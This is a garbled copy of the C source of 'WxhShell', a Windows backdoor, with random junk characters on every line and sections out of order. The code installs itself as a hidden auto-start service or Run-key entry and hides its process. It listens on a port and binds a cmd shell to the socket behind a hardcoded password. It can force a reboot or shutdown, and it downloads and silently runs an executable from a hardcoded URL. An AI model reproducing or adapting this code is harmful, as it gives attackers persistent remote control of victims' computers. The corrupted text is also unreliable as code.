    } T>%ny\?tHW  
  // 关机 JsEEAM:w  
  case 'd': { T`ZJ=gv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W8h\ s {  
    if(Boot(SHUTDOWN)) SfL`JNi)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6MNA.{Jdd  
    else { g2<S4  
    closesocket(wsh); 3(*s|V"  
    ExitThread(0); X3O$Sd(D  
    } Z2jb>%  
    break; `80Hxp@  
    } aB!Am +g  
  // 获取shell 5m?$\h  
  case 's': { j:KQIwc  
    CmdShell(wsh); gK\7^95  
    closesocket(wsh); ZKPkx~,U[  
    ExitThread(0); ~RAH -]  
    break; 2I 7`  
  } u`@FA?+E1  
  // 退出 NT/B4'_@  
  case 'x': { iX6jvnJ:/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q b{5*>  
    CloseIt(wsh); 9,eR=M]+:  
    break; O9)}:++T  
    } FN EmGz/4  
  // 离开 %{abRBny  
  case 'q': { 'k Z1&_{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ah9',((!  
    closesocket(wsh); u*N8s[s'  
    WSACleanup(); !z 5d+ M  
    exit(1); wu&7#![,  
    break; qDd/wR,44  
        } /mu4J|[[  
  } E2kRt'~N  
  } G@!9)v]9  
hP<qKVy  
  // 提示信息  F]#fl%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yLOLv6g~e  
} " <a|Q,!  
  } Yb{t!KL  
2<@!m @  
  return; 695ppiKU  
} nW'x#0-  
_u2  
// shell模块句柄 kk+8NwM1  
int CmdShell(SOCKET sock) C~V$G}mM  
{ m kf{_!TK  
STARTUPINFO si; toJ&$HrE  
ZeroMemory(&si,sizeof(si)); Pv.@Y 30  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ved Qwzh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0M+tKFb  
PROCESS_INFORMATION ProcessInfo; Mu%,@?zM^/  
char cmdline[]="cmd"; (SA*9%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %([H*sLX  
  return 0; \hN2w]e  
} Z"+!ayA7D  
oF xVK  
// 自身启动模式 k"{U}Y/}  
int StartFromService(void) V7_??L%Ct`  
{ <5~>.DuE  
typedef struct 4HE4e  
{  +'.Q-  
  DWORD ExitStatus; !;Nh7vG  
  DWORD PebBaseAddress; 7*"LW  
  DWORD AffinityMask; qG]PUc>j  
  DWORD BasePriority; We?:DM [  
  ULONG UniqueProcessId; 1tpD|  
  ULONG InheritedFromUniqueProcessId; [Cp{i<C  
}   PROCESS_BASIC_INFORMATION; y8z%s/gRh  
&[5az/Hj*  
PROCNTQSIP NtQueryInformationProcess; )aSkUytg"  
+KNr1rG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <-}\V!@E!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C ,hsr  
vrbh+  
  HANDLE             hProcess; e*H$c?7NL  
  PROCESS_BASIC_INFORMATION pbi; Din)5CxFX  
_AYF'o-Cm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'DQyB`V2y  
  if(NULL == hInst ) return 0; pASVnXJZ  
9To6Rc;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "QS7?=>*F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ||aU>Wj4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >,3 3Jx  
9lV'3UG-?  
  if (!NtQueryInformationProcess) return 0; 4PQWdPv;  
7!%"8Rl-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f lB2gr^  
  if(!hProcess) return 0; .SN]hLV5  
!&[4T#c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X2v'9 x  
z?,5v`,t2  
  CloseHandle(hProcess); <b I,y_<K  
? Q}{&J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VIzZmd  
if(hProcess==NULL) return 0; q?&&:.H"?5  
&=bI3-  
HMODULE hMod; 2-84  
char procName[255]; mX^RSg9E}  
unsigned long cbNeeded; KK</5Aw9p  
MzD0F#Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $ 1U%E  
@4$E.q<0  
  CloseHandle(hProcess); ^h=kJR9  
h6/Z_ Y  
if(strstr(procName,"services")) return 1; // 以服务启动 +F|[9o z  
9OUhV [D  
  return 0; // 注册表启动 cqudF=q  
} rY}ofq7b  
p~IvkW>ln)  
// 主模块 d%bL_I)  
int StartWxhshell(LPSTR lpCmdLine) tO7{g  
{ x]Ef}g  
  SOCKET wsl; `2B+8,{%  
BOOL val=TRUE; Bx F  
  int port=0; ) |vFrR  
  struct sockaddr_in door; soF^G21N  
g 7X>i:  
  if(wscfg.ws_autoins) Install(); ,dBI=D'  
m='OnTeOE  
port=atoi(lpCmdLine); l<0V0R(  
{ SV$fl;  
if(port<=0) port=wscfg.ws_port; zdCt#=QV?R  
d@hJ=-4  
  WSADATA data; f$|v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YSbN=Rj  
yFG&Ir  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LKa_ofY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P6Ei!t,>  
  door.sin_family = AF_INET; x% 1Rp[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M3%< kk-_  
  door.sin_port = htons(port); V QI7lJV"  
;G$FLL1   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yrw!b\  
closesocket(wsl); fJuJ#MX{:  
return 1; JFfx9%Fq  
} lxZXz JkqZ  
&3<]FK  
  if(listen(wsl,2) == INVALID_SOCKET) { &!ZpBR(  
closesocket(wsl); b11C3TyQT  
return 1; *RPI$0  
} 8J} J;Ga  
  Wxhshell(wsl); M4| L  
  WSACleanup(); lgl/| ^ Uw  
;XT$rtuX  
return 0; r_G`#Z_5F  
!SnpesTn  
} tBrVg<]t  
F~EriO  
// 以NT服务方式启动 k.%F!sK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PyYe>a;.  
{ @y+Wl*:  
DWORD   status = 0; H,'c&  
  DWORD   specificError = 0xfffffff; 2.yzR DfZ  
A!c.P2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZD3S|1zSQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EOL03N   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jy9&=Qh   
  serviceStatus.dwWin32ExitCode     = 0; 3I]5DW %-  
  serviceStatus.dwServiceSpecificExitCode = 0; vsK>?5{C-  
  serviceStatus.dwCheckPoint       = 0; H X8q+  
  serviceStatus.dwWaitHint       = 0; ZYG"nmNd  
"LYob}_z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~c4Y*]J  
  if (hServiceStatusHandle==0) return; %Xn)$Ti ~<  
3iB8QO;pp  
status = GetLastError(); NJ.kT uk  
  if (status!=NO_ERROR) <T['J]k%  
{ Ks4TBi&J   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m35G;  
    serviceStatus.dwCheckPoint       = 0; ZP1EO Z  
    serviceStatus.dwWaitHint       = 0; ws=y*7$y  
    serviceStatus.dwWin32ExitCode     = status; Mvux=Ws  
    serviceStatus.dwServiceSpecificExitCode = specificError; H_9~gi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E)Dik`Ccl  
    return; 1*Z}M%  
  } .$Y[>9  
B6BOy~B0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QFMS]  
  serviceStatus.dwCheckPoint       = 0; Z EW`?6  
  serviceStatus.dwWaitHint       = 0; X:YxsZQ 5Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z=#!FZ{  
} "QMHY\C  
^VA)vLj@  
// 处理NT服务事件,比如:启动、停止 _QQO&0Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =&vV$UtV  
{ %BL+'&q  
switch(fdwControl) 4WLB,<b}  
{ /SyiJCx0  
case SERVICE_CONTROL_STOP: s;bqUY?LD  
  serviceStatus.dwWin32ExitCode = 0; @^%# ]x,:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _b+3;Dy  
  serviceStatus.dwCheckPoint   = 0; t<4+CC2H  
  serviceStatus.dwWaitHint     = 0; K~uoZ~_gA  
  { ak R*|iK#b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Z`zdZs  
  } !$j'F?2 >  
  return; 3 Tt8#B  
case SERVICE_CONTROL_PAUSE: k7j;'6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 56fcifXz@  
  break; Xs4`bbap  
case SERVICE_CONTROL_CONTINUE: -50|r;a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nF=h|rN  
  break; &`@K/Nf$9  
case SERVICE_CONTROL_INTERROGATE: U@H SU%H  
  break; Q.x3_+CX  
}; [xHK^JP 8F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .^/OL}/~<  
} ss*dM.b  
=T[kGg8`  
// 标准应用程序主函数 &TKB8vx=#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {&xKS WNc  
{ \2uQ"kJC  
TtHqdKL  
// 获取操作系统版本 5WEF^1  
OsIsNt=GetOsVer(); HH^eEh4g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xand%XNv  
Hg<]5  
  // 从命令行安装 }nkX-PG9  
  if(strpbrk(lpCmdLine,"iI")) Install(); )H)HR`  
}psJ'aiG*  
  // 下载执行文件 .Ir5gz  
if(wscfg.ws_downexe) { RK|C*TCnl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gVO[R6C5C  
  WinExec(wscfg.ws_filenam,SW_HIDE); F;kNc:X`)  
} !iMsTH<  
hS<+=3 <M  
if(!OsIsNt) { 8xLvpgcZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 leiP/D6s  
HideProc(); < }G7#xg  
StartWxhshell(lpCmdLine); `w2hJP  
} 90;[5c   
else g^=p)h3  
  if(StartFromService()) p9 %7h.  
  // 以服务方式启动 ='a$>JVJ5  
  StartServiceCtrlDispatcher(DispatchTable); XSXS;Fh)  
else Nb-;D)W;B  
  // 普通方式启动 1I_(!F{Ho  
  StartWxhshell(lpCmdLine); (Ori].{C.J  
kA fkQy(~  
return 0; 5MT$n4zKu  
} p;g$D=2  
:dK/}S0  
4\3Z$%2^LZ  
LG(bdj"NM  
=========================================== < yBZsSj  
PC/Oo~Gx  
woQYP,  
3s" Rv@  
[*@"[u   
4;x{@Ln  
" UE5T%zd/  
o@vo,JU  
#include <stdio.h> tv5G']vO\  
#include <string.h> 6Z0@4_Y@B6  
#include <windows.h> aH*)W'N?  
#include <winsock2.h> $0 eyp]XC\  
#include <winsvc.h> 3V2 "1Ic  
#include <urlmon.h> ^As^hY^p  
 LGV"WE  
#pragma comment (lib, "Ws2_32.lib") VD,g  
#pragma comment (lib, "urlmon.lib") n)gzHch  
) m[0,  
#define MAX_USER   100 // 最大客户端连接数 -b8Vz}Y  
#define BUF_SOCK   200 // sock buffer ckS.j)@.c  
#define KEY_BUFF   255 // 输入 buffer -m3 O\X  
V^[o{'+  
#define REBOOT     0   // 重启 ;~3CuN8  
#define SHUTDOWN   1   // 关机 9ELLJ@oNC  
82{Lx7pI  
#define DEF_PORT   5000 // 监听端口 ,dP-sD;<  
#3leMZ6  
#define REG_LEN     16   // 注册表键长度 Z+x,Awq  
#define SVC_LEN     80   // NT服务名长度 o[X 'We;  
2eK!<Gj  
// 从dll定义API z1K@AaRx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Mtd3F^o?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OW;]= k/(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u,I_p[`E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0"#'Z>"  
4 cDjf~n  
// wxhshell配置信息 _SY4Q s`d  
struct WSCFG { 1:(qoA:  
  int ws_port;         // 监听端口 k?ZtRhPu3X  
  char ws_passstr[REG_LEN]; // 口令 @lRTp  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9ePG-=5I  
  char ws_regname[REG_LEN]; // 注册表键名 %We~k'2f  
  char ws_svcname[REG_LEN]; // 服务名 ci a'h_w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Ra*bP ]1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EBc_RpC/Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V4PI~"4q#1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hCS|(8g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4$ya$Y%s%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Js.2R$o =*  
 Y[#EFM  
}; wylbs@  
qj/ pd 7\  
// default Wxhshell configuration ?RNm8,M  
struct WSCFG wscfg={DEF_PORT, ge %ytrst  
    "xuhuanlingzhe", /}t>o* x  
    1, p~Di\AQ/  
    "Wxhshell", j51Wod<[  
    "Wxhshell", aNs~Uad1U  
            "WxhShell Service", }8`W%_Yk  
    "Wrsky Windows CmdShell Service", [uqe|< :  
    "Please Input Your Password: ", }86&? 0j.  
  1, ^E{M[;sF3y  
  "http://www.wrsky.com/wxhshell.exe", bk^W]<:z`  
  "Wxhshell.exe" LX;w~fRr.  
    }; 5n{J}0C  
3D|Y4OM  
// 消息定义模块 BWRAz*V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IYAvO%~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lV924mh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |, #DB  
char *msg_ws_ext="\n\rExit."; _kGJqyYV  
char *msg_ws_end="\n\rQuit."; }ya@*jH  
char *msg_ws_boot="\n\rReboot..."; 5G  @  
char *msg_ws_poff="\n\rShutdown..."; $De14  
char *msg_ws_down="\n\rSave to "; P&I%!'<   
A@M%}h  
char *msg_ws_err="\n\rErr!"; TkHyXOk"Ky  
char *msg_ws_ok="\n\rOK!"; _sLSl; /t  
JWQd/  
char ExeFile[MAX_PATH]; 5yBaxw`  
int nUser = 0; j=c=Pe"?u  
HANDLE handles[MAX_USER]; 7m='-_w)?w  
int OsIsNt; "pUqYMB2i  
xgeDfpF'  
SERVICE_STATUS       serviceStatus; 4u0\|e@a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d^b(Uo=$  
z 3((L  
// 函数声明 TNun)0p  
int Install(void); +pMa-{  
int Uninstall(void); Zfwhg4G~  
int DownloadFile(char *sURL, SOCKET wsh); V}=%/OY?  
int Boot(int flag); T .#cd1b  
void HideProc(void); *XN|ZGl/  
int GetOsVer(void); [ =/Yo1:v  
int Wxhshell(SOCKET wsl); 9NzK1V0X  
void TalkWithClient(void *cs); _%M+!Ltz  
int CmdShell(SOCKET sock); 6WI-ZEVp&  
int StartFromService(void); ^<u9I5?  
int StartWxhshell(LPSTR lpCmdLine); p>x[:*  
(h&XtFul}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EY+/ foP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <7  
ct o+W}k  
// 数据结构和表定义 e8E*Urtz  
SERVICE_TABLE_ENTRY DispatchTable[] = ;zq3>A  
{ fyHFfPEE  
{wscfg.ws_svcname, NTServiceMain}, }enS'Fpf`  
{NULL, NULL} R;yi58Be  
}; B8=r^!jEL  
xbUL./uj  
// 自我安装 5l_ >QB  
int Install(void) 4S9hz  
{ +`jI z'+  
  char svExeFile[MAX_PATH]; ahJ -T@  
  HKEY key; TTGk"2 Q'  
  strcpy(svExeFile,ExeFile); AlPk o($E*  
y&A0}>a:d  
// 如果是win9x系统,修改注册表设为自启动 oY NIJXln  
if(!OsIsNt) { }253Q!f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g<b(q|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [-Xz:  
  RegCloseKey(key); _Fc :<Ym?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =@ SJyW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8)KA {gN}  
  RegCloseKey(key); BIJlU(aF  
  return 0; X6h@K</c^:  
    }  s*XE  
  } (v/mKGyg  
} 1&7~.S;km  
else { NI<;Lm  
h eR$j  
// 如果是NT以上系统,安装为系统服务 KzgW+6*G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E`A6GX  
if (schSCManager!=0) cu |S|]g  
{ 6cQ)*,Q  
  SC_HANDLE schService = CreateService \jR('5DcB  
  ( &7 0o4~Fr  
  schSCManager, N'5AU (  
  wscfg.ws_svcname, K-<kp!v  
  wscfg.ws_svcdisp, 31cC*  
  SERVICE_ALL_ACCESS, __mnz``/Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M "W~%   
  SERVICE_AUTO_START, xPcH]Gs^b  
  SERVICE_ERROR_NORMAL, kO)+%'L!8  
  svExeFile, i!nPiac  
  NULL, Sd9%tO9mf  
  NULL, {J[5 {]Je[  
  NULL, C@P4}X0,=  
  NULL, :nLhg$wMs  
  NULL ,ve$bSp  
  ); *LA2@9l  
  if (schService!=0) H)@f_pfj(  
  { ^Gt9.  
  CloseServiceHandle(schService); VV%Q "0 \  
  CloseServiceHandle(schSCManager); jI%g!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l2.L h<G  
  strcat(svExeFile,wscfg.ws_svcname); |to|kU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J]"IT*-Ht  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .29y3}[PO  
  RegCloseKey(key); &pk&8_=f  
  return 0; _oU}>5  
    } Vmb `%k20'  
  } J;R1OJs S  
  CloseServiceHandle(schSCManager); ^{l^Z +b.  
} j~#nJI5]  
} ?c7} v  
,x]xtg?  
return 1; O\z]1`i*o  
} `9>1 w d  
Jmcf9g  
// 自我卸载 <q<kqy5s-R  
int Uninstall(void) /l.ox.4z#  
{ >vny9^_  
  HKEY key; S +mM S  
PSR21;  
if(!OsIsNt) { (imaL,M-D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~L55l2u7  
  RegDeleteValue(key,wscfg.ws_regname); '0MH-M  
  RegCloseKey(key); WKDa]({k%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,T<q"d7-#  
  RegDeleteValue(key,wscfg.ws_regname); #ts;s\!  
  RegCloseKey(key); )^q7s&p/  
  return 0; !7fL'  
  } GyP.;$NHa[  
} =,HxtPJ  
} 8 mFy9{M  
else { <,\Op=$l3I  
NW AT"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9`8D Ga  
if (schSCManager!=0) R32A2Ml  
{ KN\*|)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #J_+ SL[  
  if (schService!=0) !\(j[d#  
  { %7vjYvo>  
  if(DeleteService(schService)!=0) { Jp#Onl+d6  
  CloseServiceHandle(schService); J6s@}@R1  
  CloseServiceHandle(schSCManager); ZPO+ #,  
  return 0; $eQf5)5  
  } ynQ+yW74Z  
  CloseServiceHandle(schService); -,Y[`(q  
  } $bd tiD  
  CloseServiceHandle(schSCManager); a|5^4 J \%  
}  A&8{0  
} -l2aAK1M  
J 6%CF2  
return 1; uNoP8U%*  
} !YZ$WiPl  
WNo",Vc  
// 从指定url下载文件 Z+EN]02|  
int DownloadFile(char *sURL, SOCKET wsh) <GRplkf`  
{ 8+=-!": ]  
  HRESULT hr; $6Az\Iu *  
char seps[]= "/"; wSGW_{;-  
char *token; >v9@p7Dn  
char *file; %'`L+y  
char myURL[MAX_PATH]; ^U@-Dp,k+  
char myFILE[MAX_PATH]; Mb +  
YZllfw$9  
strcpy(myURL,sURL); }]K^b1Fs5  
  token=strtok(myURL,seps); Ee0}Xv  
  while(token!=NULL) R'e>YDC  
  { <{"Jy)Uf  
    file=token; +`_Km5=  
  token=strtok(NULL,seps); C#3K.0a  
  }  >M-ZjT>  
8RE"xJMff  
GetCurrentDirectory(MAX_PATH,myFILE); FM=- ^l,  
strcat(myFILE, "\\"); Ce~ a(J|"  
strcat(myFILE, file); |(Q !$  
  send(wsh,myFILE,strlen(myFILE),0); .CY;-  
send(wsh,"...",3,0); &E+2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pGHn   
  if(hr==S_OK) 'v?"TZ  
return 0; ?]In@h-  
else >^|( AzS  
return 1; 1*vt\,G  
wB0K e  
} L2P#5B!S  
*s[bq;$  
// 系统电源模块 Sb,lY<=  
int Boot(int flag) b xFDB^  
{ 2J0N]`|)  
  HANDLE hToken; *$/!.e  
  TOKEN_PRIVILEGES tkp; # qPWJ  
V 'e _gH  
  if(OsIsNt) { lAZn0EU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /GUbc   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :0o,pndU  
    tkp.PrivilegeCount = 1; SGK=WLGM8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sY*iRq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UP?]5x>  
if(flag==REBOOT) { $1< ~J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8*\PWl  
  return 0; E6njm du  
} $Il:Yw_  
else { +GDT@,/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }p$@.+  
  return 0; |o0?u:  
} GL- r;  
  } P{tH4V23T  
  else { 1,pg7L8H  
if(flag==REBOOT) { ;VlA~tv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tuWJj^  
  return 0; 9X%H$>s  
} pjaDtNb  
else { JrhDqyk*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) klON6<w  
  return 0; b8$(j2B~  
} V3] Z~@  
} o n+:{ad  
N{o3w.g  
return 1; E>2~cC*  
} hnD=DLW $  
cZd{K[fuK  
// win9x进程隐藏模块 /ltGSl  
void HideProc(void) G j9WUv[P  
{ N sNk  
v$_YZm{!<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :^H#i:4  
  if ( hKernel != NULL ) c(5r  
  { RV{'[8gM   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n(.U>_ P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @Fs2J_v  
    FreeLibrary(hKernel); U5!T-o;3}  
  } `:&jbd4H  
s4uYp  
return; >56I`[)  
} f 3t&Bcw$  
c u:1|gt  
// 获取操作系统版本 H1^m>4ll9  
int GetOsVer(void) nJ{vO{N  
{ ehe;<A  
  OSVERSIONINFO winfo; Q q7+_,w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y^xEZD1X6-  
  GetVersionEx(&winfo); Okt0b|=`1*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }_vUsjK  
  return 1; ;{%R'  
  else 20Rj Rd  
  return 0; r'5~4'o$  
} ,y%4QvG7a  
:K]&rGi,  
// 客户端句柄模块 N~] 4,~  
int Wxhshell(SOCKET wsl) \u@*FTS  
{ -YD+x PD  
  SOCKET wsh; wx2 EMr   
  struct sockaddr_in client; ~[H+,+XLY+  
  DWORD myID; Fu;\t 0  
(|kcSnF0  
  while(nUser<MAX_USER) ~n<U8cm O  
{ x;; =+)Gg  
  int nSize=sizeof(client); dvLO#o{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KDQqN]rg  
  if(wsh==INVALID_SOCKET) return 1; Yfotq9.=+  
<[W41{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -<MA\iSP  
if(handles[nUser]==0) QgZ`~  
  closesocket(wsh); ljJi|+^$  
else Iq%f*Zm<  
  nUser++; FWu[{X;  
  } T|fmO<e*n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zJ9[),;7B  
:1/K$A)^{  
  return 0; kafRuO~$  
} d=J$H<  
QhqXd  
// 关闭 socket V% PeZ.Xv  
void CloseIt(SOCKET wsh) dd{pF\a  
{ BXx0Z %e.3  
closesocket(wsh); t!S ja  
nUser--; 9+!1jTGSkf  
ExitThread(0); w,/&oe5M+  
} E` O@UW@  
C % d  
// 客户端请求句柄 vy&< O  
void TalkWithClient(void *cs) H,I k&{@j  
{ F[HMX4  
yCt,-mz!z  
  SOCKET wsh=(SOCKET)cs; 8;vpa*  
  char pwd[SVC_LEN]; o fw0_)!Q  
  char cmd[KEY_BUFF]; U0Q:sA U  
char chr[1]; uOU?-WtPz  
int i,j; WhY8#B'?  
xP+HdA2X  
  while (nUser < MAX_USER) { |4lrVYG^K  
V < ;vy&&  
if(wscfg.ws_passstr) { l{u2W$8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1+0DTqWz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >^\}"dEvr  
  //ZeroMemory(pwd,KEY_BUFF); BEfp3|Stb  
      i=0; &y~EEh|  
  while(i<SVC_LEN) { C~PoC'"q  
b{WEux{)  
  // 设置超时 s'Op|`&X  
  fd_set FdRead; ]`S35b  
  struct timeval TimeOut; 7 g2@RKo  
  FD_ZERO(&FdRead); 9"%ot=)  
  FD_SET(wsh,&FdRead); [ S_8;j  
  TimeOut.tv_sec=8; T+9#&  
  TimeOut.tv_usec=0; `EjPy>kM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _h2s(u >\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E,fG<X{  
iR`c/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/bIt  
  pwd=chr[0]; d 6$,N|  
  if(chr[0]==0xd || chr[0]==0xa) { 4Z"JC9As  
  pwd=0; X Nm%O  
  break; V< ]l=JOd  
  } _0uFe7sIZ  
  i++; p~h)@  
    } ={GYJ. *Ah  
ejID5NqG  
  // 如果是非法用户,关闭 socket nWd]P\a'V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ry+Ax4#+(y  
} Ie14`'  
>^!qx b-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K/OE;;<IA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{{pp<tX*&  
K}(0H[P  
while(1) { fQtV-\Bc  
_r6aLm2n  
  ZeroMemory(cmd,KEY_BUFF); 8&0+Az"{O  
k- ?:0  
      // 自动支持客户端 telnet标准   G"~%[k  
  j=0; HU='Hk!  
  while(j<KEY_BUFF) { ZV?~~_ 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H%AF,  
  cmd[j]=chr[0]; fNkN  
  if(chr[0]==0xa || chr[0]==0xd) { V6.w=6:`X  
  cmd[j]=0; Mr8r(LGY  
  break; ls<7Qe"a  
  } 'aFjyY?%  
  j++; j![;;  
    } 1E]|>)$  
X9lh@`3  
  // 下载文件 fT&>L  
  if(strstr(cmd,"http://")) { RkW)B^#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /M.@dW7 w  
  if(DownloadFile(cmd,wsh)) p%_m!   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul41R Ny)  
  else ,2I8,MOg  
